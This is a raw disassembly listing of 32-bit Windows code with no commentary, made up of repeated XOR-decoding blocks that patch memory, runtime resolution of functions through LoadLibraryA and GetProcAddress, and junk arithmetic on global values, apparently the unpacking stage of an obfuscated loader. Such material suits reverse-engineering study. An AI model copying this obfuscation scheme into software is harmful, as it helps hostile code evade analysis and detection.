add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332b0]
add eax, 0x32fa8
xor eax, dword [ecx]
mov edx, 0xdcc69600
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33380]
add eax, 0x33384
xor eax, dword [ecx]
xor eax, 0xdccfff48
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
imul eax, dword [0x10106ae8]
mov dword [0x10106ae8], eax
mov ecx, dword [0x10105abc]
and ecx, 0xe8617985
or eax, ecx
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0x163d4]
add eax, 0x20fc8
xor eax, dword [ecx]
xor eax, 0xdccec304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x47ec]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18389]
add eax, 0x201a8
xor eax, dword [ecx]
xor eax, 0xdccecd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14073]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x67c1]
add eax, 0x2579c
xor eax, dword [ecx]
xor eax, 0xdcce9b50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a38]
add eax, 0x277b0
xor eax, dword [ecx]
xor eax, 0xdccebb7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b082]
add eax, 0xa52e0
xor eax, dword [ecx]
xor eax, 0xdcc69e2c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
and dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29154]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18cc4]
add eax, 0x23810
xor eax, dword [ecx]
xor eax, 0xdccef4dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f70]
add eax, 0x7f39
xor eax, dword [ecx]
xor eax, 0xdcccb3f5
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b8]
add eax, 0x23068
xor eax, dword [ecx]
push 0x10107cb4
xor eax, 0xdccefca4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10ee6]
add eax, 0x32360
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccfefac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xea8d]
add eax, 0x29000
xor eax, dword [ecx]
xor eax, 0xdcce5ccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ec4]
add eax, 0x36df8
xor eax, dword [ecx]
xor eax, 0xdccfa134
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe962]
add eax, 0x2030c
xor eax, dword [ecx]
xor eax, 0xdccecfc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202c0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9cbe
mov dword [eax], ecx
mov eax, dword [0x10103e64]
imul eax, dword [0x101062e0]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa0bd]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ab8]
add eax, 0x13c90
xor eax, dword [ecx]
xor eax, 0xdccdf05c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e8c]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bc4]
add eax, 0x32bcc
xor eax, dword [ecx]
xor eax, 0xdccfe700
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc050]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f61]
add eax, 0xa5a04
xor eax, dword [ecx]
xor eax, 0xdcc696c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d6c]
add eax, 0x32d70
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x1eb
xor eax, 0xdccfe1bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9812]
add eax, 0x200f4
xor eax, dword [ecx]
xor eax, 0xdccecc38
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002b45b
mov eax, dword [0x10106ae8]
and eax, 0x1eb
push 0x10107fc0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x50], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8ad2]
add eax, 0x20018
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x19
xor eax, 0xdcceccd4
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002b4b8
mov eax, dword [0x10107300]
lea ecx, [eax + 0x364e8]
add eax, 0x36448
xor eax, dword [ecx]
push 0x10107cdd
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x18]
sub ecx, eax
mov dword [0x10103e64], ecx
mov ecx, dword [esp + 0x1c]
and ecx, 0x6032c0f4
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xa4574]
add eax, 0x8ee08
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc422c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a94]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4154]
add eax, 0x7c5b0
xor eax, dword [ecx]
xor eax, 0xdccb097c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c14]
add eax, 0x49770
xor eax, dword [ecx]
xor eax, 0xdcc85bbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x2a7a4be0]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x3360c]
add eax, 0x3396c
xor eax, dword [ecx]
xor eax, 0xdccff5a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202cc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c8e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c30]
add eax, 0x27458
xor eax, dword [ecx]
xor eax, 0xdcceb894
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32cb8]
add eax, 0x32cc0
xor eax, dword [ecx]
xor eax, 0xdccfe00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d249]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [esp + 0x14]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xa44cc]
add eax, 0x898a0
xor eax, dword [ecx]
xor eax, 0xdcc4546c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25740]
add eax, 0x3e60
xor eax, dword [ecx]
push 0x1010749f
xor eax, 0xdcccf2ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa226]
add eax, 0xa5a08
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [esp + 0x1c]
add eax, 0x20064
mov dword [0x101062e0], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9ba0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xacb4]
add eax, 0x2027c
xor eax, dword [ecx]
xor eax, 0xdcceceb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x47b9]
add eax, 0x1f77e
xor eax, dword [ecx]
xor eax, 0xdccd3bb2
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a10]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ad4]
add eax, 0x13670
xor eax, dword [ecx]
xor eax, 0xdccdfabc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d1c]
add eax, 0x55340
xor eax, dword [ecx]
xor eax, 0xdcc99f8c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
imul eax, dword [0x1010536c]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce08]
add eax, 0x1ce14
xor eax, dword [ecx]
xor eax, 0xdccd02d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10105abc]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x23f8c]
add eax, 0x23f54
xor eax, dword [ecx]
xor eax, 0xdccef398
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
imul eax, eax, 0x865b092f
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14109]
add eax, 0xa5abc
xor eax, dword [ecx]
push 0x10107f54
xor eax, 0xdcc69670
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1100e]
add eax, 0x20078
xor eax, dword [ecx]
push dword [esp + 0x40]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10de9]
add eax, 0x20240
xor eax, dword [ecx]
xor eax, 0xdccece8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140dc]
add eax, 0xa5a98
xor eax, dword [ecx]
xor eax, 0xdcc69654
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x89ea]
add eax, 0x27c40
xor eax, dword [ecx]
xor eax, 0xdcceb08c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e672]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12fa0]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f4c9]
add eax, 0x33e90
xor eax, dword [ecx]
xor eax, 0xdccff25c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [esp + 0x1c], ecx
lea ecx, [eax + 0x3d79]
add eax, 0x25694
xor eax, dword [ecx]
xor eax, 0xdcce9a58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ef2]
add eax, 0x202b4
xor eax, dword [ecx]
xor eax, 0xdccece78
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20370
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9856
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329bc]
add eax, 0x130d0
xor eax, dword [ecx]
xor eax, 0xdccdfc1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x121b3]
add eax, 0x32520
xor eax, dword [ecx]
xor eax, 0xdccfe9ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4140]
add eax, 0x26af8
xor eax, dword [ecx]
xor eax, 0xdccea634
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14e47]
add eax, 0x20c48
xor eax, dword [ecx]
xor eax, 0xdccec084
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa596]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [esp + 0x14]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x4105]
add eax, 0x2578c
xor eax, dword [ecx]
xor eax, 0xdcce9b40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x248]
add eax, 0x36000
xor eax, dword [ecx]
xor eax, 0xcccbfc30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcd29]
add eax, 0x28de0
xor eax, dword [ecx]
xor eax, 0xdcce412c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8b0f]
add eax, 0x20370
xor eax, dword [ecx]
xor eax, 0xdccecfbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18461]
add eax, 0xa4c08
xor eax, dword [ecx]
xor eax, 0xdcc680c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcaa9]
add eax, 0x28ca4
xor eax, dword [ecx]
xor eax, 0xdcce4068
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e13]
add eax, 0xa90e4
xor eax, dword [ecx]
xor eax, 0xdcc65c28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33830]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x20]
add ecx, eax
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0xaab9]
add eax, 0x1f85a
xor eax, dword [ecx]
xor eax, 0xdccd3496
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23b1]
add eax, 0x20288
xor eax, dword [ecx]
push 0x101079f2
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d11f]
add eax, 0x36b70
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfa7bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
sub dword [0x10105368], eax
lea ecx, [eax + 0xa425c]
add eax, 0x80030
xor eax, dword [ecx]
xor eax, 0xdcc4ccfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4486]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [esp + 0x1c]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xa0ab]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x101062e0], 0
add eax, 0x201c4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9a24
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25440]
add eax, 0x32d10
xor eax, dword [ecx]
xor eax, 0xdccfe1dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b28]
add eax, 0x24970
xor eax, dword [ecx]
xor eax, 0xdcce85bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c6c]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15990]
add eax, 0x15811
xor eax, dword [ecx]
xor eax, 0xdccd94dd
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x11db1]
add eax, 0xa5a38
xor eax, dword [ecx]
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f597]
add eax, 0x33fb0
xor eax, dword [ecx]
xor eax, 0xdccff37c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b6c]
add eax, 0x45ce8
xor eax, dword [ecx]
xor eax, 0xdcc89024
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0eb]
add eax, 0xa51f4
xor eax, dword [ecx]
xor eax, 0xdcc69d38
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
add eax, 0x895ead94
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x143b1]
add eax, 0x20bc8
xor eax, dword [ecx]
xor eax, 0xdccec704
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3138]
add eax, 0x23018
xor eax, dword [ecx]
xor eax, 0xdccefcd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105ab8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xa42f0]
add eax, 0x267f0
xor eax, dword [ecx]
xor eax, 0xdcceab3c
mov dword [ecx], eax
and dword [0x10103e60], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1239e]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x89c7]
add eax, 0x27c54
xor eax, dword [ecx]
xor eax, 0xdcceb098
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6823]
add eax, 0x279a0
xor eax, dword [ecx]
xor eax, 0xdcceb56c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a43b]
add eax, 0x201e4
xor eax, dword [ecx]
xor eax, 0xdccecd28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1776f]
add eax, 0x17884
xor eax, dword [ecx]
xor eax, 0xdccdb448
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1843b]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33d20]
add eax, 0x1c194
xor eax, dword [ecx]
xor eax, 0xdccd0d58
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov edx, dword [esp + 0x18]
lea ecx, [eax + edx]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0xcca9]
add eax, 0x28db0
xor eax, dword [ecx]
xor dword [esp + 0x20], edx
xor eax, 0xdcce417c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x262d]
add eax, 0x251f8
xor eax, dword [ecx]
xor eax, 0xdcce9d34
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105368]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x2f0d]
add eax, 0x23088
xor eax, dword [ecx]
xor eax, 0xdccefc44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3af4]
add eax, 0x41258
xor eax, dword [ecx]
xor eax, 0xdcc8de94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a70]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x101062e0]
xor eax, dword [0x10106ae8]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33008]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0d1]
add eax, 0xa5304
xor eax, dword [ecx]
xor eax, 0xdcc69fc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1077d]
add eax, 0x200dc
xor eax, dword [ecx]
xor eax, 0xdccecc10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279cc]
add eax, 0x3f00
xor eax, dword [ecx]
xor eax, 0xdcccf3cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8847]
add eax, 0x27c30
xor eax, dword [ecx]
xor eax, 0xdcceb0fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x86a2]
add eax, 0x27bbc
xor eax, dword [ecx]
xor eax, 0xdcceb770
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xabee]
add eax, 0xa5a44
xor eax, dword [ecx]
xor eax, 0xdcc69688
mov dword [ecx], eax
mov dword [esp + 0x1c], 0x184
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002be2c
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11349]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7e8]
add eax, 0xa59c8
xor eax, dword [ecx]
xor eax, 0xdcc69504
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fd0]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32fa4]
add eax, 0x32ef4
xor eax, dword [ecx]
xor eax, 0xdccfe238
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46ac]
add eax, 0x92968
xor eax, dword [ecx]
xor eax, 0xdcc5e5a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd5e]
add eax, 0x1cd64
xor eax, dword [ecx]
xor eax, 0xdccd01a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13dce]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a903]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x651f]
add eax, 0x20218
xor eax, dword [ecx]
xor eax, 0xdcceced4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19f5e]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a4c]
add eax, 0x12fd0
xor eax, dword [ecx]
xor eax, 0xdccde31c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16995]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d598]
add eax, 0x20200
xor eax, dword [ecx]
xor eax, 0xdccececc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [0x10106ae8]
mov dword [0x101062e0], ecx
lea ecx, [eax + 0xa3ed4]
add eax, 0x26fec
xor eax, dword [ecx]
push 0x6f
push dword [esp + 0x38]
xor eax, 0xdccea320
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c30]
add eax, 0x200c8
xor eax, dword [ecx]
xor eax, 0xdccecc04
mov dword [ecx], eax
mov ecx, dword [0x10107300]
mov eax, dword [0x10103e64]
lea edx, [ecx + eax]
and eax, 0xb5036757
add ecx, 0x20350
mov dword [esp + 0x1c], edx
mov dword [0x1010536c], eax
mov dword [esp + 0x18], ecx
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0x4ccccca3
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f0b]
add eax, 0x201a4
xor eax, dword [ecx]
xor eax, 0xdccecd68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17788]
add eax, 0x17798
xor eax, dword [ecx]
xor eax, 0xdccdbb54
mov dword [ecx], eax
mov eax, dword [0x10107300]
xor dword [0x10103e64], eax
lea ecx, [eax + 0xa3c5c]
add eax, 0x4b760
xor eax, dword [ecx]
xor eax, 0xdcc87bac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a20]
add eax, 0x12ff0
xor eax, dword [ecx]
xor eax, 0xdccde33c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x35c0]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11d83]
add eax, 0xa5a40
xor eax, dword [ecx]
xor eax, 0xdcc6968c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
imul eax, dword [esp + 0x14]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x38d2]
add eax, 0xa59ee
xor eax, dword [ecx]
xor eax, 0xdcc69522
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x18326]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2572c]
add eax, 0x2da0
xor eax, dword [ecx]
push 0x10107412
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254e0]
add eax, 0x32a0
xor eax, dword [ecx]
push dword [esp + 0x48]
xor eax, 0xdcccfe6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4b94]
add eax, 0x4b40
xor eax, dword [ecx]
xor eax, 0xdccc878c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47ec]
add eax, 0x2777c
xor eax, dword [ecx]
xor eax, 0xdccebbb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e6bd]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a8c]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e38]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4964]
add eax, 0xa3720
xor eax, dword [ecx]
xor eax, 0xdcc6fbec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf145]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa8ec]
add eax, 0x2012c
xor eax, dword [ecx]
xor eax, 0xdccecde0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a484]
add eax, 0x36440
xor eax, dword [ecx]
xor eax, 0xdccfa88c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33c00]
add eax, 0x18e03
xor eax, dword [ecx]
xor eax, 0xdccd42cf
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20228
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101079fe
xor ecx, 0xcccf8658
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334c8]
add eax, 0x33488
xor eax, dword [ecx]
push ebp
xor eax, 0xdccff844
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x137e5]
add eax, 0x231a8
xor eax, dword [ecx]
xor eax, 0xdccefd64
mov dword [ecx], eax
mov eax, dword [0x10103e60]
imul eax, dword [0x10105abc]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3327c]
add eax, 0x33240
xor eax, dword [ecx]
xor eax, 0xdccffe8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201c8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x1c], 0x29e
xor ecx, 0xcccf9a3a
mov dword [eax], ecx
push dword [0x10107300]
push dword [0x101062e0]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002c2da
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b3c]
add eax, 0x42e28
xor eax, dword [ecx]
push 0x1010799d
xor eax, 0xdcc8e2e4
